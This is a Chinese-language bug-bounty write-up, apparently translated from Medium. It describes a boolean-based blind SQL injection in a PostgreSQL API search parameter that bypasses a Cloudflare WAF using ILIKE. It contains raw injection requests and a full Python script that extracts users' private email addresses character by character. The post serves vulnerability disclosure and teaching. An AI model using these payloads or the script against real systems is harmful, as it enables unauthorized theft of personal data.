白帽故事 · 2025年5月19日 0

严苛WAF环境下如何实现SQL注入?

前言

国外白帽小哥和好友在对某个目标网站进行渗透测试时发现了一处API端点:

https://api.test.com/users/public?page=1&search=bug_vs_me

在Web前端,可以选择搜索用户,如果搜索 bug_vs_me,它会显示白帽小哥创建的账户以及账户的图像以及公开的用户缩略名——没有任何敏感内容。

但是假如搜索 ''bug_vs_me'的话,不会有任何结果,这意味着它可能会破坏后端的 SQL 查询。但是在前端,并没有显示错误,因此一些白帽子会懒得检查为什么 bug_vs_me 给出了结果而 'bug_vs_me 没有。

发现过程

白帽小哥首先开始检查 Burp 的请求历史记录,并手动测试这个查询请求。

file

从上图可以看到,通过搜索了 ‘deepak’,响应包给出一个结果。

file

在上图中,通过搜索了 ''OR testing1337',虽然没有任何结果,但却有了 SQL 报错信息。

所以在这里我们基本确认了存在 SQL 注入,而且后端是 PostgreSQL。

但是,毕竟有 Cloudflare WAF,过滤规则非常严格。通过尝试 SQLMAP 等工具提取数据,但都因 Cloudflare WAF 而失败。

因为 SQL 注入要求我们使用 IFORAND 等进行查询,而 WAF 会阻止我们的所有Payloads,比如 'OR'1'='1 → BLOCKED。

白帽小哥花费了 3 个多小时试图绕过WAF,以下是如何绕过 WAF 并仅使用公共用户名提取任意用户的电子邮件。

这个 SQL 注入是 Boolean-Based SQL 盲注 ,所以白帽小哥阅读了 PostgreSQL 文档,发现可以使用 'ILIKE',它用于不区分大小写的模式匹配。

因此白帽小哥设计了以下查询:

/users/public?page=1&search={}'+Or+publicusername+ILIKE+'deepak

file

该查询给出了一个结果,可以看到还有一个被屏蔽的电子邮件地址,那么为什么不提取电子邮件呢?使用以下这个查询:

GET /users/public?page=1&search={}'OR+publicusername+ILIKE+'deepak'+AND+username+ILIKE+'[email protected] HTTP/2
Host: api.test.com

请注意:publicUsername列存储了公共用户名的缩略名,userName列存储了非公开的用户电子邮件。

所以基本上上面的 SQL 查询的作用是:它在 SQL 数据库中检查是否有任何 'publicusername ILIKE deepak',以及该 'publicusername' 是否具有 'username ILIKE [email protected]'。如果为 true,则→会看到数据。如果为 false,则不会看到任何结果。

因此白帽小哥迅速向目标厂商报告,通过使用每个单词,便可以提取完整的电子邮件,例如:

GET /users/public?page=1&search={}'OR+publicusername+ILIKE+'deepak'+AND+username+ILIKE+'dee HTTP/2
Host: api.test.com

通过搜索 'username' (email) 'dee' →> true,便迅速得到一项结果。

GET /users/public?page=1&search={}'OR+publicusername+ILIKE+'deepak'+AND+username+ILIKE+'deex HTTP/2
Host: api.test.com

而搜索 'username' (email) 是否为 'deex' →> false,会无法得到任何结果。

file

然后厂商的回应,他们不认为这是SQL注入,因此白帽小哥专门写了一个脚本,只需要输入用户的公共用户名,就能够在20秒内提取完整的电子邮件地址。

PoC脚本如下:

import requests

# Target configuration
host = "https://api.test.com"
base_path = "/users/public"
charset = "abcdefghijklmnopqrstuvwxyz0123456789@._"
headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "application/json"
}

# Ask user for the public username to test
public_username = input("Enter the public_username to extract email for: ").strip()
email_prefix = ""

def is_valid_email(prefix):
    payload = f"{{}}'OR+publicusername+ILIKE+'{public_username}'+AND+username+ILIKE+'{prefix}"
    url = f"{host}{base_path}?page=1&search={payload}"
    try:
        r = requests.get(url, headers=headers)
        if r.status_code == 200 and '"public":[' in r.text:
            data = r.json()
            if data["status"] == "success" and data["public"]:
                print(f"[+] Valid prefix: {prefix}")
                return True
    except Exception as e:
        print(f"[-] Error: {e}")
    return False

print(f"[*] Starting email extraction for public_username: {public_username}")

while True:
    found = False
    for c in charset:
        attempt = email_prefix + c
        if is_valid_email(attempt):
            email_prefix += c
            found = True
            break
    if not found:
        break  # No more characters matched

print(f"[+] Extracted email: {email_prefix}")

file

最终漏洞被认可,并被定级为高危漏洞:

file

你学到了么?

原文:https://medium.com/@bug_vs_me/how-to-escalate-a-sql-injection-if-there-is-a-strict-waf-2a7798bb769e